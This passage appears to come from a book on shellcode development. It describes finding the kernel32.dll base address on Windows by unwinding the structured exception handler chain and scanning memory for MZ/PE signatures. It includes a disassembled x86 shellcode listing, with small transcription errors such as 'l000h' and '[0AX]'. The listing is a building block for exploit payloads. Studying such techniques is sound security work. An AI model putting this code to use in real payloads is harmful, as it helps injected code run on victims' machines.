The structured exception handler, assigned by the operating system by default, points to the KERNEL32 !_except_handler3 function. By determining its address, it is possible to determine the position of one of the cells guaranteed to belong to the kernel32.dll module, after which it only remains to round it off by the value that is a multiple of l000h and proceed with searching for the PE signature as described in the "Direct Search in Memory" section. The only difference is that now there is no need to determine the availability of the pointer before accessing it (because now the pointer is certainly available).
Practically all applications use custom structured exception handlers. Therefore, the current handler doesn't coincide with the handler assigned by the operating system. The shellcode must unwind the chain of handlers and achieve its end. The last element of the list will contain the address of KERNEL32!_except_handler3 .
The advantage of this technique is that it uses only documented properties of the operating system and therefore works on all operating systems of the Windows family except for Windows 3.x, for which everything is different. Furthermore, it is quite compact. The example illustrating how to determine the base address of kernel32.dll using SEH is shown in Listing 11.9 (the base address is returned in the EAX register).
00000000: 6764A10000 MOV EAX, fs:[00000] ;Current EXCEPTION_REGISTRATION 00000005: 40 INC EAX ;If;EAX was -1, it will be 0. 00000006: 48 DEC EAX ;Rollback to the prev pointer 00000007: 8BF0 MOV ESI, EAX ;ESI to EXCEPTION_REGISTRATION 00000009: 8B00 MOV EAX, [EAX] ;EXCEPTION_REGISTRATION.prev 0000000B: 40 INC EAX ;If EAX was -1, it will be 0. 0000000C: 75F8 JNE 000000006 ;If nonzero, unwind further. 0000000E: AD LODSD ;Skip prev. 0000000F: AD LODSD ;Retrieve handler. 00000010: 6633C0 XOR AX, AX ;Align by 64 KB. 00000013: EB05 JMPS 00000001A ;Jump into the loop body. 00000015: 2D00000100 SUB EAX, 000010000 ;Go 64 KB down. 0000001A: 6681384D5A CMP W, [0AX], 05A4D ; Is this MZ? 0000001F: 75F4 JNE 000000015 ; If not MZ, continue unwinding. 00000021: 8B583C MOV EBX, [EAX + 3Ch] ; Retrieve the pointer to PE. 00000024: 813C1850450000 CMP [EAX + EBX], 4550h ; Is this PE? 0000002B: 75E8 JNE 000000015 ; If not PE, continue unwinding.